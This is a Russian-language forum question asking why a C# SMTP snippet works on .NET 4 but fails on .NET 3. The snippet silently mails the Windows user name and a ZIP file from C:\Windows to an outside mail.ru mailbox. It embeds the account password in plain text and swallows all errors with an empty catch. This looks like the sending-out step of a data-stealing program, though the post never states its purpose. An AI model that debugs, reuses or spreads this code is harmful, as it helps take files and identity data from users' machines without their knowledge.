Делал на 4-ки всё робит, а на 3-ки не хочет, почему?
Код:
MailMessage m = new MailMessage();
SmtpClient sc = new SmtpClient();
try
{
m.From = new MailAddress("***@mail.ru");
m.To.Add(new MailAddress("***@mail.ru"));
m.SubjectEncoding = Encoding.UTF8;
m.Subject = "BBK";
m.BodyEncoding = Encoding.UTF8;
m.Body = Environment.UserName;
sc.Host = "smtp.mail.ru";
sc.Port = 2525;
sc.Credentials = new NetworkCredential("***@mail.ru", "6v0omvpbu");
sc.EnableSsl = true;
Attachment att = new Attachment(@"C:\Windows\SsZ.zip");
m.Attachments.Add(att);
sc.Send(m);
att.Dispose();
}
catch { }
}
// Так робит на 4-ке!! попробовал перейти на 3-ку не катит, тоесть вообще не отправляет как с аттачем так и без!
P.S: Исключение на 3-ки ставил, все исключения шли мимо, программа успешно компилилась без ошибок, но файл - ничего не отправляет!
Попробовал убрать исключение: пишет что
Код:
Сбой при отправке сообщения электронной почты.
Порт менял на 465 тоже ничего!
Кто что знает как сделать на .Net 3 ? буду рад))
Не кидаемся тапками)))